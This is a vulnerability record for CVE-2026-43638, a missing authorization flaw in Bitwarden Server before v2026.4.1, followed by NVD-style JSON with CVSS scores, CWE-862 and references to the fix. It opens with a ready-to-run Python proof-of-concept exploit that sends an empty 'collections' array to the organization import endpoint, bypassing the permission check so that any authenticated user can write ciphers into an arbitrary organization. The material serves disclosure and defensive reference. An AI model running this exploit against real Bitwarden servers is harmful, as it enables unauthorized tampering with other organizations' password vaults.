CVE-2026-43638

import requests # Configuration target_url = "https://<bitwarden-domain>/api/ciphers/import-organization" access_token = "<USER_ACCESS_TOKEN>" target_org_id = "<TARGET_ORGANIZATION_ID>" # Headers headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Exploit Payload: Submit empty 'collections' array to bypass permission check payload = { "ciphers": [ { "organizationId": target_org_id, "type": 1, "name": "Exploit Cipher", "login": { "username": "attacker", "password": "malicious_data" } } ], "collections": [] # CRITICAL: Empty array triggers the vulnerability } # Send Request response = requests.post(target_url, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")

{"cve": {"id": "CVE-2026-43638", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:36.823", "lastModified": "2026-05-11T18:16:36.823", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bitwarden Server prior to v2026.4.1 contains a missing authorization vulnerability that allows any authenticated user to write ciphers into an arbitrary organization via `POST /ciphers/import-organization` by submitting an empty `collections` array, which causes the server-side permission check to be skipped."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/bitwarden/server/commit/ebbf6dd0fa752114c09d73abb48ce32a50476758", "source": "[email protected]"}, {"url": "https://github.com/bitwarden/server/pull/7394", "source": "[email protected]"}, {"url": "https://github.com/bitwarden/server/releases/tag/v2026.4.1", "source": "[email protected]"}, {"url": "https://sanjokkarki.com.np/blog/bitwarden-import-org-bypass", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/bitwarden-server-missing-authorization-via-organization-cipher-import", "source": "[email protected]"}]}}